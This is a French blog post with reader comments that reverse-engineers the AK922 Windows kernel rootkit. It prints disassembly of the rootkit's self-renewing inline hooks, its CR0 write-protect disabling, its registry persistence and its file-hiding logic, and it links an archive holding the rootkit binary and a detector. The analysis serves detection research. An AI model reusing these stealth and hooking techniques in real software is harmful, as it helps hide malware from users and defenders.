Rootkit AK922

septembre 2nd, 2007 at 12:56 admin

C’est encore un produit chinois qui attire mon attention, décidément les gars ont du talent dans ce pays. En fait je suis tombé de dessus en lisant le forum de rootkit.com, il s’agit d’un POC fournit sous forme de binaire .sys, permettant de bypasser une grosse partie (tous?) des anti-rk au niveau du system de fichiers. Comme cette chose m’intéressait au plus au point, j’ai décidé de la reversé. Ca fait bizarre de RE sans les symbols mais on s’y fait à force :p Voici ce que j’ai découvert au sein du monstre.

Le binaire porte le nom de ak922.sys, ne possède aucune description, n’est pas packé, a été codé en C et semble avoir été compilé avec le compilo du DDK. Après avoir été lancé (dans une VM bien sur !), on remarque que binaire n’affiche aucun message avec la routine DbgPrint et qu’il arrive effectivement à cacher le fichier ak922.sys. Si on regarde la table des IRP_MJ on ne trouve rien de spécial :

kd> !drvobj driverak922 3
Driver object (80d08868) is for:
DriverAK922
Driver Extension List: (id , addr)

Device Object list:
80d092a8

DriverEntry:   fd24505c	AK922
DriverStartIo: 00000000
DriverUnload:  fd244f76	AK922

Dispatch routines:
[00] IRP_MJ_CREATE                      fd244e20	AK922+0xe20 <-CompleteNormalIRP
[01] IRP_MJ_CREATE_NAMED_PIPE           fd244e20	AK922+0xe20 <-CompleteNormalIRP
[02] IRP_MJ_CLOSE                       fd244e20	AK922+0xe20 <-CompleteNormalIRP
[03] IRP_MJ_READ                        fd244e20	AK922+0xe20 ...
[04] IRP_MJ_WRITE                       fd244e20	AK922+0xe20
[05] IRP_MJ_QUERY_INFORMATION           fd244e20	AK922+0xe20
[06] IRP_MJ_SET_INFORMATION             fd244e20	AK922+0xe20
[07] IRP_MJ_QUERY_EA                    fd244e20	AK922+0xe20
[08] IRP_MJ_SET_EA                      fd244e20	AK922+0xe20
[09] IRP_MJ_FLUSH_BUFFERS               fd244e20	AK922+0xe20
[0a] IRP_MJ_QUERY_VOLUME_INFORMATION    fd244e20	AK922+0xe20
[0b] IRP_MJ_SET_VOLUME_INFORMATION      fd244e20	AK922+0xe20
[0c] IRP_MJ_DIRECTORY_CONTROL           fd244e20	AK922+0xe20
[0d] IRP_MJ_FILE_SYSTEM_CONTROL         fd244e20	AK922+0xe20
[0e] IRP_MJ_DEVICE_CONTROL              fd244e20	AK922+0xe20
[0f] IRP_MJ_INTERNAL_DEVICE_CONTROL     fd244e20	AK922+0xe20
[10] IRP_MJ_SHUTDOWN                    fd244e86	AK922+0xe86 <-ShutdownRoutine !
[11] IRP_MJ_LOCK_CONTROL                fd244e20	AK922+0xe20
[12] IRP_MJ_CLEANUP                     fd244e20	AK922+0xe20
[13] IRP_MJ_CREATE_MAILSLOT             fd244e20	AK922+0xe20
[14] IRP_MJ_QUERY_SECURITY              fd244e20	AK922+0xe20
[15] IRP_MJ_SET_SECURITY                fd244e20	AK922+0xe20
[16] IRP_MJ_POWER                       fd244e20	AK922+0xe20
[17] IRP_MJ_SYSTEM_CONTROL              fd244e20	AK922+0xe20
[18] IRP_MJ_DEVICE_CHANGE               fd244e20	AK922+0xe20
[19] IRP_MJ_QUERY_QUOTA                 fd244e20	AK922+0xe20
[1a] IRP_MJ_SET_QUOTA                   fd244e20	AK922+0xe20
[1b] IRP_MJ_PNP                         804fa88e	nt!IopInvalidDeviceRequest

Le driver possède un device associé :

kd> !devobj 80d092a8
Device object (80d092a8) is for:
AzyKit7f65Pd DriverAK922 DriverObject 80d08868
Current Irp 00000000 RefCount 0 Type 00000022 Flags 00000048
Dacl e129a2ec DevExt 00000000 DevObjExt 80d09360
ExtensionFlags (0000000000)
Device queue is not busy.

On note aussi que le nom du device, ici AzyKit7f65Pd, change à chaque chargement du driver. Enfin l’unloading du driver se passe sans problème et la VM reste stable avec la présence du rootkit.

Il est temps de sortir notre ami IDA, hop hop hop !
La fonction d’entré porte le nom de « start » (w0w). Celle ci va d’abord manipulé la string « \Device\AzyKit000000″ en pseudo-randomisant les ’0′ avec les API KeQuerySystemTime/KeQueryInterruptTime et le nombre de Tick system trouvé dans la variable KeTickCount exportée par ntoskrnl. Je n’ai pas vraiment cherché à comprendre en détail comment le calcul des caractères était effectué, ce n’est pas ca le plus intéressant.

Ensuite start récupère les adresses des fonctions IofCompleteRequest et KeRaiseIrqlToDpcLevel avec MmGetSystemRoutineAddres. Puis vérifie qu’elle s’exécute bien dans le contexte du process « system » et note son EPROCESS.

mov     esi, ds:RtlInitUnicodeString
lea     eax, [ebp+SourceString]
push    eax             ; SourceString
lea     eax, [ebp+DeviceName]
push    eax             ; DestinationString
call    esi ; RtlInitUnicodeString
push    offset aIofcompletereq ; "IofCompleteRequest"
lea     eax, [ebp+SystemRoutineName]
push    eax             ; DestinationString
call    esi ; RtlInitUnicodeString
mov     edi, ds:MmGetSystemRoutineAddress
lea     eax, [ebp+SystemRoutineName]
push    eax             ; SystemRoutineName
call    edi ; MmGetSystemRoutineAddress
mov     pIofCompleteRequest, eax
push    offset aKeraiseirqltod ; "KeRaiseIrqlToDpcLevel"
lea     eax, [ebp+SystemRoutineName]
push    eax             ; DestinationString
call    esi ; RtlInitUnicodeString
lea     eax, [ebp+SystemRoutineName]
push    eax             ; SystemRoutineName
call    edi ; MmGetSystemRoutineAddress
mov     pKeRaiseIrqlToDpcLevel, eax
call    ds:IoGetCurrentProcess
push    eax
call    IsSystemProcess?
test    eax, eax
mov     SystemEPROCESS, eax

Après, start fait appel à une fonction pour retrouver les DEVICE_OBJECT associé au driver \Driver\Disk puis les stockent dans un tableau.

push    8
pop     ecx
xor     eax, eax
mov     edi, offset Tab_DiskDevices
rep stosd
call    GetDiskDriverDevices

Par la suite, on trouve la creation du device, l’initialisation de IRP_MJ_SHUTDOWN et de DriverUnload. Plus loin, start va delete la key \Registry\Machine\SYSTEM\CurrentControlSet\Services\AzyKit\Enum avec ZwDeleteKey (si elle existe !) et ouvrir un handle sur la key \Registry\Machine\SYSTEM\CurrentControlSet\Services\AzyKit pour aussi la delete afin que l’utilisateur ne remarque rien dans le registre lorsque le rootik est loadé.

Si on regarde de plus près la routine qui gère les IRP_MJ_SHUTDOWN, on peut voir que celle-ci à pour rôle de crée la clé \Registry\Machine\SYSTEM\CurrentControlSet\Services\AzyKit pour que le binaire soit chargé au boot. Cette routine est appelée au moment de l’arrêt du système et permet donc au rk de survivre au boot. On observe aussi que se dernier considère qu’il se trouve dans \system32\drivers sous le nom de ak922.sys.

start crée un buffer dans la NonPagedPool avec la fonction ExAllocatePoolWithTag et recopie dedans une fonction que j’ai appelé HookedIofCompleteRequest :

HookedIofCompleteRequest proc near
pusha                   ; VOID
; FASTCALL
; IopfCompleteRequest(
;     IN PIRP Irp,
;     IN CCHAR PriorityBoost
;     )
pushf
cli
push    ecx             ; Irp
call    HandleIRPCompletion
sti
popf
popa
jmp     RealIofCompleteRequest
HookedIofCompleteRequest endp

Le call sur la fonction HandleIRPCompletion est recalculé plus loin par ces lignes :

mov     eax, HookedIofCompleteRequestPool
add     eax, 4
lea     ebx, HandleIRPCompletion
sub     ebx, eax
sub     ebx, 5
mov     byte ptr [eax], 0E8h ; recalcul un jmp du Pool
; vers HandleIRPCompletion
mov     [eax+1], ebx

Juste après start fait appel à la fonction que j’ai appelé HookKeRaiseIrqlToDpcLevel :

HookKeRaiseIrqlToDpcLevel proc near
push    ebx
push    esi
push    edi
cli
mov     eax, cr0
and     eax, 0FFFEFFFFh
mov     cr0, eax
pusha
pushf
mov     esi, pKeRaiseIrqlToDpcLevel
lea     edi, SavedKeRaiseIrqlToDpcLevel
mov     ecx, 7
rep movsb
mov     byte68, 68h     ; 68=push 0xXXXXXXXX
lea     edi, HookedKeRaiseIrqlToDpcLevel
mov     pHookedKeRaiseIrqlToDpcLevel, edi
mov     byteC3, 0C3h    ; ret
mov     byte90, 90h
lea     esi, byte68
mov     edi, pKeRaiseIrqlToDpcLevel
mov     ecx, 7
rep movsb
popf
popa
mov     eax, pKeRaiseIrqlToDpcLevel
add     eax, 7
mov     RealKeRaiseIrqlToDpcLevel, eax
mov     eax, cr0
or      eax, 10000h
mov     cr0, eax
sti
pop     edi
pop     esi
pop     ebx
retn
HookKeRaiseIrqlToDpcLevel endp

Cette fonction sert à hooker KeRaiseIrqlToDpcLevel de hal.dll avec un push /ret. La fonction KeRaiseIrqlToDpcLevel à pour rôle, comme son nom l’indique, d’élever l’IRQL à DISPATCH_LEVEL, elle est donc appelé ultra régulièrement (plusieurs fois par seconde au moins !).

avant
kd> u hal!KeRaiseIrqlToDpcLevel
hal!KeRaiseIrqlToDpcLevel:
806ee03c 33c0            xor     eax,eax
806ee03e a024f0dfff      mov     al,byte ptr ds:[FFDFF024h]
806ee043 c60524f0dfff02  mov     byte ptr ds:[0FFDFF024h],2
806ee04a c3              ret
806ee04b 90              nop

après
kd> u hal!KeRaiseIrqlToDpcLevel
hal!KeRaiseIrqlToDpcLevel:
806ee03c 68904d24fd      push    offset AK922+0xd90 (fd244d90)
806ee041 c3              ret

kd> u fd244d90
AK922+0xd90:
fd244d90 60              pushad
fd244d91 9c              pushfd
fd244d92 e871ffffff      call    AK922+0xd08 (fd244d08) ; HookIofCompleteRequest
fd244d97 9d              popfd
fd244d98 61              popad
fd244d99 33c0            xor     eax,eax
fd244d9b 3ea024f0dfff    mov     al,byte ptr ds:[FFDFF024h] ;IRQL
fd244da1 ff25505724fd    jmp     dword ptr [AK922+0x1750 (fd245750)]

kd> u poi(fd245750)
hal!KeRaiseIrqlToDpcLevel+0x7:
806ee043 c60524f0dfff02  mov     byte ptr ds:[0FFDFF024h],2 ;IRQl=DISPATCH_LEVEL
806ee04a c3              ret
806ee04b 90              nop

Le hook de KeRaiseIrqlToDpcLevel sert juste à faire appel à la fonction qui va hooker IofCompleteRequest. HookIofCompleteRequest fonction de 2 manières, la première fois quelle est appelé elle va sauvegardé les 6 premières instructions de IofCompleteRequest (sizeof(push XXXXXXXX) + sizeof(ret)) puis copié dans un buffer, que j’ai nommé InlineIofCompleteRequest, les instruction qui vont servir pour le hook, enfin elle remplace le code original de IofCompleteRequest par un push/ret allant sur le code de la NonPagePool crée précédemment. Pour finir HookIofCompleteRequest va positionner un booléen à 1 pour dire que le hook est installé afin que lors de son prochain appel, la fonction ne recopie que les instructions sauvegardées dans le buffer InlineIofCompleteRequest.

Ainsi chaque appel à KeRaiseIrqlToDpcLevel va rehooker IofCompleteRequest, déjà que le hook est relativement difficil à détecter, il faut en plus savoir que celui-ci est régulièrement réinstaller avant de pouvoir le désactiver. Avant q’uun anti-rk ne face ca, j’ai le tps de bouffer mes chocapicz moi.

Bref voilà ce que donne le hook sur IofCompleteRequest.

avant
kd> u nt!IofCompleteRequest
nt!IofCompleteRequest:
804e3bf6 ff25042b5580    jmp     dword ptr [nt!pIofCompleteRequest (80552b04)]
804e3bfc 90              nop
804e3bfd 90              nop
804e3bfe 90              nop
804e3bff 90              nop
804e3c00 90              nop

après
kd> uf nt!IofCompleteRequest
nt!IofCompleteRequest:
804e3bf6 682035cb80      push    80CB3520h
804e3bfb c3              ret

kd> u 80CB3520h ;Buffer de la NonPagedPool
80cb3520 60              pushad
80cb3521 9c              pushfd
80cb3522 fa              cli
80cb3523 51              push    ecx
80cb3524 e88f13597c      call    AK922+0x8b8 (fd2448b8) ;HandleIRPCompletion
80cb3529 fb              sti
80cb352a 9d              popfd
80cb352b 61              popad
80cb352c ff2544b71ffd    jmp     dword ptr [ak922+0x1744 (fd1fb744)] ; <=> jmp dword ptr [nt!IopfCompleteRequest]

kd> ln poi(fd23d744)
(804e3c01)   nt!IopfCompleteRequest   |  (804e3d4a)   nt!KeRemoveByKeyDeviceQueue
Exact matches:
nt!IopfCompleteRequest = 
kd> u nt!IopfCompleteRequest
nt!IopfCompleteRequest:
804e3c01 8bff            mov     edi,edi
804e3c03 55              push    ebp
804e3c04 8bec            mov     ebp,esp
804e3c06 83ec10          sub     esp,10h
804e3c09 53              push    ebx
804e3c0a 56              push    esi
804e3c0b 8bf1            mov     esi,ecx
804e3c0d 8a4e23          mov     cl,byte ptr [esi+23h]
[...]

Alors, pourquoi ce rookit hook IofCompleteRequest ? Il faut savoir que cette fonction, appelé en convention fastcall, d’ou le ‘f’, sert a dire qu’on à finit de faire mumuse avec l’IRP et qu’on peut le renvoyé à l’I/O manager. C’est grâce à cela que le rk peut hooker le système de fichier, en effet, lors d’un appel à NtQueryDirectoryFile un IRP est forgé puis envoyé à la device stack se situant au dessus du driver de système de fichier Ntfs. Si la MajorFunction de l’IRP est IRP_MJ_DIRECTORY_CONTROL alors le Ntfs.sys appel la fonction NtfsFsdDirectoryControl qui se charge de retrouver les fichiers du dossier demandé sur le disque. Comme toute bonne fonction de driver, NtfsFsdDirectoryControl va notifier avec IofCompleteRequest quand elle aura finit de manipuler l’IRP. Ainsi en hookant cette fonction, ak922 peut voir ce que contient les paramètres de l’IRP avant que celui-ci ne soit renvoyé à l’appelant.

Justement, j’ai appelé cette fonction HandleIRPCompletion. Une bonne grosse fonction assez compliquée a analyser. La première que va faire HandleIRPCompletion est de vérifier la MajorFonction de l’IRP, si celle-ci est de type IRP_MJ_DIRECTORY_CONTROL et que la MinorFunction est IRP_MN_QUERY_DIRECTORY alors HandleIRPCompletion regarde l’InformationClass demandé, en général le système demande une InformationClass de type FileBothDirectoryInformation qui renvoie une liste de structure FILE_BOTH_DIR_INFORMATION contenant la liste des fichiers.

typedef struct _FILE_BOTH_DIR_INFORMATION {
ULONG  NextEntryOffset;
ULONG  FileIndex;
LARGE_INTEGER  CreationTime;
LARGE_INTEGER  LastAccessTime;
LARGE_INTEGER  LastWriteTime;
LARGE_INTEGER  ChangeTime;
LARGE_INTEGER  EndOfFile;
LARGE_INTEGER  AllocationSize;
ULONG  FileAttributes;
ULONG  FileNameLength;
ULONG  EaSize;
CCHAR  ShortNameLength;
WCHAR  ShortName[12];
WCHAR  FileName[1];
} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;

Ici le rootkit ne vérifie que les InformationClass FileBothDirectoryInformation et FileDirectoryInformation (noobed!). Puis il scan la liste des structure pour y unlinker celle qui contient le fichier ak922.sys. C’est un peu dommage car il faudrait qu’il gère aussi FileFullDirectoryInformation et FileNamesInformation, je ne sais pas si l’auteur l’a fait exprès mais en utlisant ces 2 dernières InformationClass il est possible de retrouver facilement le fichier. Je me suis codé vite fait un detecteur que je fournis dans le .rar.

Si la MajorFunction de l’IRP est de type IRP_MJ_READ et que celui-ci est envoyé sur l’un des devices du driver disk.sys alors là on prend cher.

kd> !drvobj driverdisk 3
Driver object (84b189e8) is for:

DriverDisk
Driver Extension List: (id , addr)
(f75033be 84b178e0)
Device Object list:
8479ac68  847d2ab8  84abbc68  84abcab8

DriverEntry:   f74f38ab	disk!GsDriverEntry
DriverStartIo: 00000000
DriverUnload:  f72fa5c0	sptd

Dispatch routines:
[00] IRP_MJ_CREATE                      f7502c30	CLASSPNP!ClassCreateClose
[01] IRP_MJ_CREATE_NAMED_PIPE           804f4456	nt!IopInvalidDeviceRequest
[02] IRP_MJ_CLOSE                       f7502c30	CLASSPNP!ClassCreateClose
[03] IRP_MJ_READ                        f74fcd9b	CLASSPNP!ClassReadWrite
[04] IRP_MJ_WRITE                       f74fcd9b	CLASSPNP!ClassReadWrite
[05] IRP_MJ_QUERY_INFORMATION           804f4456	nt!IopInvalidDeviceRequest
[06] IRP_MJ_SET_INFORMATION             804f4456	nt!IopInvalidDeviceRequest
[07] IRP_MJ_QUERY_EA                    804f4456	nt!IopInvalidDeviceRequest
[08] IRP_MJ_SET_EA                      804f4456	nt!IopInvalidDeviceRequest
[09] IRP_MJ_FLUSH_BUFFERS               f74fd366	CLASSPNP!ClassShutdownFlush
[0a] IRP_MJ_QUERY_VOLUME_INFORMATION    804f4456	nt!IopInvalidDeviceRequest
[0b] IRP_MJ_SET_VOLUME_INFORMATION      804f4456	nt!IopInvalidDeviceRequest
[0c] IRP_MJ_DIRECTORY_CONTROL           804f4456	nt!IopInvalidDeviceRequest
[0d] IRP_MJ_FILE_SYSTEM_CONTROL         804f4456	nt!IopInvalidDeviceRequest
[0e] IRP_MJ_DEVICE_CONTROL              f74fd44d	CLASSPNP!ClassDeviceControlDispatch
[0f] IRP_MJ_INTERNAL_DEVICE_CONTROL     f7500fc3	CLASSPNP!ClassInternalIoControl
[10] IRP_MJ_SHUTDOWN                    f74fd366	CLASSPNP!ClassShutdownFlush
[11] IRP_MJ_LOCK_CONTROL                804f4456	nt!IopInvalidDeviceRequest
[12] IRP_MJ_CLEANUP                     804f4456	nt!IopInvalidDeviceRequest
[13] IRP_MJ_CREATE_MAILSLOT             804f4456	nt!IopInvalidDeviceRequest
[14] IRP_MJ_QUERY_SECURITY              804f4456	nt!IopInvalidDeviceRequest
[15] IRP_MJ_SET_SECURITY                804f4456	nt!IopInvalidDeviceRequest
[16] IRP_MJ_POWER                       f74feef3	CLASSPNP!ClassDispatchPower
[17] IRP_MJ_SYSTEM_CONTROL              f7503a24	CLASSPNP!ClassSystemControl
[18] IRP_MJ_DEVICE_CHANGE               804f4456	nt!IopInvalidDeviceRequest
[19] IRP_MJ_QUERY_QUOTA                 804f4456	nt!IopInvalidDeviceRequest
[1a] IRP_MJ_SET_QUOTA                   804f4456	nt!IopInvalidDeviceRequest
[1b] IRP_MJ_PNP                         f7502d15	CLASSPNP!ClassDispatchPnp

kd> !devobj 84abcab8
Device object (84abcab8) is for:
DR0 DriverDisk DriverObject 84b189e8
Current Irp 00000000 RefCount 0 Type 00000007 Flags 00000050
Vpb 84ba5060 Dacl e1470394 DevExt 84abcb70 DevObjExt 84abcfd0 Dope 84afbba8
ExtensionFlags (0000000000)
AttachedDevice (Upper) 84abd920 DriverPartMgr
AttachedTo (Lower) 84b1cd98 Driveratapi
Device queue is not busy.

kd> !devobj 847d2ab8
Device object (847d2ab8) is for:
DR2 DriverDisk DriverObject 84b189e8
Current Irp 00000000 RefCount 0 Type 00000007 Flags 00002050
Vpb 847c48a8 Dacl e1470394 DevExt 847d2b70 DevObjExt 847d2fd0 Dope 847f7888
ExtensionFlags (0000000000)
AttachedDevice (Upper) 84738e08 DriverPartMgr
AttachedTo (Lower) 847d3990 Driverusbstor
Device queue is not busy.

Ak922 note tout les devices du driver disk commencant par DR, dans l’exemple au dessus j’ai DR0 et DR2 sur ma b0x. Le rootkit vérifie donc si l’IRP est envoyé sur un de ces devices, si oui il check que l’IRQL est bien à DISPATCH_LEVEL et queue un WorkItem avec ExQueueWorkItem. Cela permet au code de WorkItemRoutine d’être exécuté dans un system thread lorsque l’IRQL sera redescendu à PASSIVE_LEVEL. La WorkItemRoutine utilise une fonction que j’ai appelé OwnNtfs pour modifier le contenu du buffer demandé. Comme on tape direct sur le driver disk.sys, le rootkit controle si dans les structures NTFS du buffer, il n’existe pas une string « ak922″.

Après un BP, j’ai pu voir que la fonction ExQueueWorkItem était appelée dans le contexte suivant :

kd> g
Breakpoint 1 hit
ak922+0xc68:
fd1fec68 ff15c8f31ffd    call    dword ptr [ak922+0x13c8 (fd1ff3c8)] ; ExQueueWorkItem
kd> kv
ChildEBP RetAddr  Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
80550478 80d8ea59 ff9d4008 00000207 80e440f8 ak922+0xc68
805504ac fcceaf54 80e44040 ff9d4008 00000001 0x80d8ea59 ; IofCompleteRequest
805504d4 804e3d38 00000000 80dd9bb8 80dd9d50 CLASSPNP!TransferPktComplete+0x180 (FPO: [Non-Fpo])
80550504 fcbf365e 80e404e8 80e3f0f8 00000000 nt!IopfCompleteRequest+0xa2 (FPO: [Non-Fpo])
80550530 fcbf3b94 80dd9bb8 80e404e8 805505ab atapi!IdeProcessCompletedRequest+0x664 (FPO: [Non-Fpo])
805505ac 804dbbd4 80e3f0b4 80e3f040 00000000 atapi!IdePortCompletionDpc+0x204 (FPO: [Non-Fpo])
805505d0 804dbb4d 00000000 0000000e 00000000 nt!KiRetireDpcList+0x46 (FPO: [0,0,0])
805505d4 00000000 0000000e 00000000 00000000 nt!KiIdleLoop+0x26 (FPO: [0,0,0])

Il existe aussi dans HandleIRPCompletion un code qui vérifie que l’IOCTL de l’IRP dans le code ou la MajorFunction est de type IRP_MJ_DEVICE_CONTROL. L’IOCTL vérifié est 0x4D014 et correspond à IOCTL_SCSI_PASS_THROUGH_DIRECT qui est utilisé par la fonction SpSendPassThrough du driver scsiport.sys (non loadé sur ma b0x)

Je n’ai pas réussi à comprendre entièrement le fonctionnement de la fonction HandleIRPCompletion. Mais je peux dire que l’auteur n’avait pas oublié de gérer correctement les InformationClass FileFullDirectoryInformation et FileNamesInformation je pense qu’il aurait été vraiment très dur de le détecter.

En tout cas, RkUnhooker, Darkspy (les meilleurs anti-rk que je connaisse) et même Winhex ne le détectent pas !

Mon detecteur, fonctionne un peu comme celui de Rutkowska, Flister, en utilisant l’InformationClass FileNamesInformati avec l’API NtQueryDirectoryFile.

Bref je vous fournis dans le .rar le binaire, le .idb, la source et le binaire du détecteur.

http://ivanlef0u.fr/repo/ak922.rar

ref:

http://translate.google.com/translate?u=http%3A%2F%2Fblog.sina.com.cn%2Fs%2Fblog_4df3a09101000awi.html&langpair=zh%7Cen&hl=fr&ie=UTF-8&oe=UTF-8&prev=%2Flanguage_tools
http://www.rootkit.com/board.php?thread=11014&did=edge0&disp=11014
http://www.google.fr/search?q=AK922.sys&ie=utf-8&oe=utf-8

Entry Filed under: RE

18 Comments

  • 1. Taron  |  septembre 2nd, 2007 at 16:13

    sympa, je connaissais pas les rookits ;-)

    jai laché l’affaire vers la fin de l’article pour raisons médicales (la fin des vacances :-), sinon sympa, on voit de plus de plus de nouveautés !

    espérons que les chinois auront encore le temps de créer à la rentrée :-)


  • 2. Nono  |  septembre 2nd, 2007 at 20:30

    Fan de joanna ? :p


  • 3. admin  |  septembre 2nd, 2007 at 20:38

    Je ne suis pas PD ! :p


  • 4. Anonyme  |  septembre 3rd, 2007 at 00:29

    pas mal ton article. Merci


  • 5. Christophe  |  septembre 4th, 2007 at 13:50

    Ho, plutot que de reverser du rootkit chinois fais moi donc un rapport de stage ;-)


  • 6. Nono  |  septembre 4th, 2007 at 18:13

    ca taille


  • 7. Socrate  |  septembre 5th, 2007 at 06:57

    Plutot que de troller sur ce blog, fini ton TI !


  • 8. Christophe  |  septembre 5th, 2007 at 10:07

    argg


  • 9. Azy  |  septembre 6th, 2007 at 02:54

    hi, i didnot handle the FileFullDirectoryInformation and FileNamesInformation indeed. In fact i found a detector using the same method as yours days ago(yep, by FileNamesInformation), i will add some codes to bypass that if there’s time, i think =)


  • 10. TheShade  |  septembre 6th, 2007 at 21:22

    C’est pas plus simple de detecter le hook de KeRaiseIrqlToDpcLevel ?


  • 11. admin  |  septembre 6th, 2007 at 21:30

    Ouais et comment tu fais ca avec un soft userland ? (mis a part le kd bien sur et sans \device\physicalmemory)


  • 12. TheShade  |  septembre 6th, 2007 at 22:15

    Je me disais que les detecteurs de rootkit travaillaient en ring0 en verifiant que les fonctions principales ne sont pas hookées (comparaison des premiers octets par exemple)


  • 13. admin  |  septembre 7th, 2007 at 00:19

    Ouais les anti-rk use bien des drivers pour détecter les hooks. Mais généralement il ne check que les fonctions de la SSDT à la fois dans la KiServiceTable et les inlinehook. Après si il faut tout vérifier, l’intégralité du binaire par rapport à l’image disque, c’est possible mais c’est long et pas forcément pratique …

    Même si là, j’avoue, la fonction est exportée par hal.dll. On pourrait réduire le champ d’action uniquement aux fonctions exportées des principaux modules.


  • 14. TheShade  |  septembre 7th, 2007 at 08:23

    « Le hook de KeRaiseIrqlToDpcLevel sert juste à faire appel à la fonction qui va hooker IofCompleteRequest »

    Ce que je veux dire c’est que l’idée du hook qui se repete sns cesse est intéressante mais pour moi elle ne fait que reporter le pb de la detection de IofCompleteRequest sur celle de KeRaiseIrqlToDpcLevel.


  • 15. b0l0k  |  septembre 7th, 2007 at 17:17

    D’accord avec TheShade :) C’est fun comme technique mais au niveau de la détection je ne vois pas l’amélioration sachant qu’une API reste hooker. Ca peut être intéressant si avec cette API hooké, on rehook a chaque fois plusieurs APIs, oui là la détection est divisée.


  • 16. newsoft  |  septembre 7th, 2007 at 21:28

    J’arrive pas à ouvrir le .IDB …
    Y a comme qui dirait un petit pb de licence !


  • 17. Michel  |  septembre 21st, 2007 at 19:50

    Un test complet sur la problématique rootkit et leur detection (face à Kav 6):http://kavtest.over-blog.com/article-6656073.html

    La 1ere version d’Oddysee est pas mal non plus pour contourner les detecteurs:
    http://security.over-blog.com/article-4066034-6.html

    Bonne continuation.


  • 18. Ivanlef0u’s Blog &r&hellip  |  mars 27th, 2008 at 14:09

    [...] AK922, contient le code de plusieurs version du rootkit AK922, celui même que j’avais reversé … Le lien sur la page renvoie sur un fichier .sys mais il s’agit bien d’une [...]


Trackback this post


Calendar

mars 2024
L Ma Me J V S D
« fév    
 123
45678910
11121314151617
18192021222324
25262728293031

Most Recent Posts